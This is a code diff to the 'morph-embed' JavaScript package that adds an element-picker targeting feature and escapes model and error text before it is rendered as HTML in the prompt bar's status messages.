+      try { bar.setStatus('Click any element on the page to target it — Esc to cancel.', ''); } catch (_) { /* noop */ }
+      picker.start((el) => {
+        try {
+          const selector = picker.selectorFor(el, win.document);
+          if (!selector) { bar.setStatus('Couldn’t target that element — try another.', 'err'); return; }
+          activeTarget = { selector, label: picker.describe(el) };
+          outlineTarget(el);
+          bar.setTarget({ label: activeTarget.label, onClear: clearTargetState });
+          bar.setStatus('Targeting <b>' + escapeHtml(activeTarget.label) + '</b>. Now type how to change it.', 'ok');
+          if (bar.focusInput) bar.focusInput();
+        } catch (_) { /* never break the page */ }
+      }, () => {
+        try { bar.aimActive(false); bar.setStatus('Pick cancelled.', ''); } catch (_) { /* noop */ }
+      });
+    }
+    // Closing the bar ends targeting: cancel any in-progress pick, drop the chip.
+    function onHide() {
+      try { if (picker && picker.stop) picker.stop(); } catch (_) { /* noop */ }
+      clearTargetState();
+    }
+
     // Confirm gate for actions. window.confirm is trusted browser chrome the
     // page can't spoof; a bar-styled dialog can replace it later.
     function confirmFn(name, description) {
@@ -2716,7 +2967,7 @@
         () => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
         (e) => {
           const msg = String((e && e.message) || e);
-          try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
+          try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
         }
       );
     }
@@ -2797,6 +3048,7 @@
       let resp;
       try {
         const body = { prompt, context, url: win.location.href };
+        if (activeTarget) body.target = { selector: activeTarget.selector, html: targetHtml() };
         if (registry.hasSources() || registry.hasActions()) body.manifests = registry.manifests();
         const r = await fetchFn(backend + '/api/transform', {
           method: 'POST',
@@ -2810,7 +3062,7 @@
         resp = await r.json();
       } catch (e) {
         clearStages();
-        try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
+        try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
         return;
       }
       clearStages();
@@ -2839,7 +3091,9 @@
         const edit = await store.appendEdit(pathKey(), anchored, { prompt });
         const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
         const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
-        bar.setStatus('✓ ' + explanation + ' Saved for this page.' + note, 'ok');
+        // setStatus renders TRUSTED HTML (innerHTML) — escape the model's
+        // free-text explanation, exactly as the extension does (content.js).
+        bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
         bar.showActions(true);
         try { bar.clearInput(); } catch (_) { /* noop */ }
         await refreshCount();
@@ -2965,7 +3219,8 @@
       });
       const embed = createEmbed({
         config, win: window, DSL: window.MorphDSL, registry, store,
-        bar: window.Morph.bar, ui, extractContext: window.Morph.extractContext,
+        bar: window.Morph.bar, ui, picker: window.Morph.picker,
+        extractContext: window.Morph.extractContext,
         fetchFn: doFetch, compose: window.MorphStorage.composeEdits,
       });
       embed.init();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "morph-embed",
-  "version": "0.2.0",
+  "version": "0.2.2",
   "description": "Embed a prompt bar in your product so users can generate the features you haven't built — real-data widgets, layout reshapes, and confirm-gated actions. Declarative-DSL security model; your data never leaves the page.",
   "license": "MIT",
   "main": "dist/morph-embed.esm.mjs",